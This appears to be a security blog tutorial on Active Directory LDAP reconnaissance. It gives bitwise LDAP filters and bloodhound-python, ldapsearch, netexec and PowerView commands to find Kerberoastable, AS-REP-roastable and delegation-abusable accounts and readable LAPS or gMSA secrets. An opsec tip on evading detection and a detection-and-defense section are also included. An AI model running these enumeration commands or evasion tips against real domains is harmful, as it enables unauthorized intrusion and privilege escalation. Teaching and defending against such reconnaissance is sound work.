Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Active Directory is, at bottom, an LDAP directory, and by design almost every object and attribute in it is readable by any authenticated principal. The Authenticated Users and Pre-Windows 2000 Compatible Access groups carry broad read rights across the domain, which means that the moment an attacker holds one valid credential — even a low-privilege user or a machine account — the entire logical map of the domain opens up: users, groups, computers, trusts, service accounts, delegation settings, and the access control lists that stitch them together. Reconnaissance is not the sideshow before an AD attack; it *is* the attack surface discovery, and it is almost entirely read-only and low-noise.
The value of LDAP recon is that the attributes it exposes correspond directly to named attack techniques. An SPN on a user means Kerberoasting. A DONT_REQUIRE_PREAUTH flag means AS-REP Roasting. TRUSTED_FOR_DELEGATION means unconstrained delegation. A populated msDS-AllowedToActOnBehalfOfOtherIdentity means RBCD. A juicy ACE in an ntSecurityDescriptor means an ACL-based path to privilege. Tools such as BloodHound exist precisely to collect these attributes at scale and compute the shortest path from where you are to Domain Admin.
Attack Prerequisites
LDAP reconnaissance sits at the very start of the kill chain and needs almost nothing:
- One valid domain credential — any user or computer account. Read access to the directory is granted to
Authenticated Usersby default. - Network reachability to a Domain Controller on TCP 389 (LDAP) or 636 (LDAPS), or 3268/3269 for the Global Catalog.
- No elevation required. ACLs, delegation flags, SPNs, and group membership are all world-readable within the domain; sensitive secrets (LAPS, gMSA) are the exceptions, gated by their own ACLs.
- Optionally, an anonymous/NULL bind if the DC is misconfigured to allow it — rare on modern domains but occasionally still present.
How It Works
LDAP queries are filter expressions evaluated against the directory. The power for recon comes from bitwise matching rules that let you test individual flags inside integer attributes. The matching rule OID 1.2.840.113556.1.4.803 is LDAP_MATCHING_RULE_BIT_AND: a filter like (userAccountControl:1.2.840.113556.1.4.803:=4194304) returns exactly the objects whose userAccountControl has the 0x400000 bit set. Since userAccountControl is a bit field of account properties, this single mechanism enumerates every delegation- and preauth-related weakness in the domain with surgical precision.
The attributes that matter map cleanly to techniques. servicePrincipalName on a *user* object marks a Kerberoastable service account. In userAccountControl, 0x400000 (DONT_REQUIRE_PREAUTH, 4194304) means the account is AS-REP roastable, and 0x80000 (TRUSTED_FOR_DELEGATION, 524288) means unconstrained delegation. msDS-AllowedToDelegateTo lists constrained delegation targets; msDS-AllowedToActOnBehalfOfOtherIdentity holds the RBCD trust list. adminCount=1 flags accounts protected by AdminSDHolder (i.e. current or former privileged principals). And ntSecurityDescriptor carries the DACL whose ACEs — GenericAll, WriteDacl, GenericWrite — are the raw material of ACL-based attack paths.
BloodHound automates all of this. A collector authenticates, pulls objects and their security descriptors over LDAP (and session/group data over other protocols), and loads them into a graph where each abusable relationship is an edge. Instead of eyeballing thousands of ACEs, the operator asks the graph for the shortest path to a target — turning raw directory data into a step-by-step privilege-escalation route.
Vulnerable Configuration
Recon does not exploit a bug; it *finds* the misconfigurations. Here is what an AS-REP-roastable account looks like in raw directory terms — the userAccountControl value carries the DONT_REQ_PREAUTH bit:
# LDIF for a weak account discovered by recon
dn: CN=svc_legacy,OU=Service,DC=corp,DC=local
sAMAccountName: svc_legacy
servicePrincipalName: MSSQLSvc/db01.corp.local:1433 # -> Kerberoastable
userAccountControl: 4260352
# 4260352 = 0x410200 = NORMAL_ACCOUNT | DONT_EXPIRE_PASSWORD | DONT_REQ_PREAUTH
# the 0x400000 bit => AS-REP roastable (no Kerberos pre-auth required)
description: svc account - pw Winter2023! do not change # secrets in cleartextTEXTThe bitwise filters that surface these across the whole domain in one query each — this is the core of the recon methodology:
# Kerberoastable: user objects that own an SPN
(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))
# AS-REP roastable: DONT_REQUIRE_PREAUTH (0x400000)
(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))
# Unconstrained delegation: TRUSTED_FOR_DELEGATION (0x80000)
(userAccountControl:1.2.840.113556.1.4.803:=524288)
# RBCD configured on an object
(msDS-AllowedToActOnBehalfOfOtherIdentity=*)BashSensitive attributes that should be tightly ACL’d are frequently readable by too many principals. LAPS stores the local admin password in ms-Mcs-AdmPwd (legacy LAPS) or msLAPS-Password, and a gMSA’s password blob lives in msDS-ManagedPassword; if their read ACLs are loose, recon escalates straight to a credential:
# If we can read these, recon becomes credential access:
(&(objectClass=computer)(ms-Mcs-AdmPwd=*)) # LAPS local admin pw
(&(objectClass=msDS-GroupManagedServiceAccount)) # gMSA -> msDS-ManagedPasswordBashWalkthrough / Exploitation
The fastest full picture comes from BloodHound’s Python collector, which gathers users, groups, ACLs, and delegation over LDAP and writes JSON for the graph:
bloodhound-python -c All -u jdoe -p 'P@ssw0rd!' -d corp.local \
-ns 10.0.0.10 --zipBashFor targeted, scriptable queries, ldapsearch is the workhorse. Bind with a user and pull SPN-bearing accounts, requesting only the attributes you care about:
ldapsearch -x -H ldap://10.0.0.10 -D 'jdoe@corp.local' -w 'P@ssw0rd!' \
-b 'DC=corp,DC=local' \
'(&(objectClass=user)(servicePrincipalName=*))' \
sAMAccountName servicePrincipalName userAccountControlBashnetexec (nxc) wraps many of these enumerations behind LDAP modules — handy for one-shot roasting-target and delegation discovery:
nxc ldap 10.0.0.10 -u jdoe -p 'P@ssw0rd!' --kerberoasting kerb.txt
nxc ldap 10.0.0.10 -u jdoe -p 'P@ssw0rd!' --asreproast asrep.txt
nxc ldap 10.0.0.10 -u jdoe -p 'P@ssw0rd!' --trusted-for-delegation
nxc ldap 10.0.0.10 -u jdoe -p 'P@ssw0rd!' -M lapsBashFrom a Windows foothold, PowerView reads the same directory without touching disk-based tooling:
Get-DomainUser -SPN | select samaccountname,serviceprincipalname
Get-DomainUser -PreauthNotRequired | select samaccountname
Get-DomainComputer -Unconstrained | select dnshostname
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match 'Write' }PowerShellNote: Recon depth scales with the *type* of credential, not its privilege: a machine account sees the same directory a user does, and a Global Catalog (port 3268) answers forest-wide queries useful for cross-domain pathing. The
userAccountControldecoding is where mistakes happen — always parse it as a bit field (0x400000 = no preauth, 0x80000 = unconstrained, 0x2000 = workstation trust), not as a whole number.
Opsec: LDAP recon is quiet but not invisible. Where ’15 Field Engineering’ diagnostic logging is raised, expensive/inefficient searches are recorded as Event ID 1644 on the DC. Microsoft Defender for Identity and similar tools specifically model BloodHound-style bulk collection and honeytoken reads. Prefer paged, attribute-scoped queries over pulling the whole directory, and avoid touching decoy objects.
Detection and Defense
Because read access is by-design, defense focuses on limiting what is exposed and detecting bulk collection:
- Event ID 1644 (LDAP expensive/inefficient/slow searches) on Domain Controllers, enabled via the
15 Field Engineeringdiagnostics key or theSearch Time Thresholdregistry values, surfaces broad enumeration. - Microsoft Defender for Identity / ATA-style analytics flag reconnaissance and BloodHound collection patterns from a single principal.
- Honeytoken accounts with attractive-looking SPNs or
adminCount=1: any query or ticket request for them is high-fidelity. - Tighten sensitive-attribute ACLs — restrict who can read LAPS (
ms-Mcs-AdmPwd/msLAPS-Password) and gMSAmsDS-ManagedPasswordto only the intended admins; auditPre-Windows 2000 Compatible Accessmembership. - Reduce the findings themselves: remove stale SPNs, eliminate
DONT_REQUIRE_PREAUTHand unnecessary unconstrained delegation, and clean abusable ACEs so recon returns fewer viable paths.
Real-World Impact
BloodHound, released by Andy Robbins, Rohan Vazarkar, and Will Schroeder in 2016, changed AD offense permanently by making attack-path analysis a graph-query problem, and LDAP recon is the data layer beneath it. On virtually every internal penetration test and red-team engagement the first authenticated action is some form of directory collection, because it reliably converts a single low-privilege credential into a ranked list of concrete next moves — Kerberoast this account, AS-REP roast that one, abuse this ACL — long before any exploit is fired.
Conclusion
LDAP reconnaissance is powerful precisely because Active Directory is meant to be readable: the same openness that lets applications resolve users and groups hands an attacker a complete, attribute-level map of every weakness in the domain. Defenders cannot switch off directory reads, so the winning move is to minimize what those reads reveal — lock down sensitive attributes, purge the flags and ACEs that create paths, and instrument the DCs to notice bulk collection — so that when recon runs, it comes back nearly empty.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments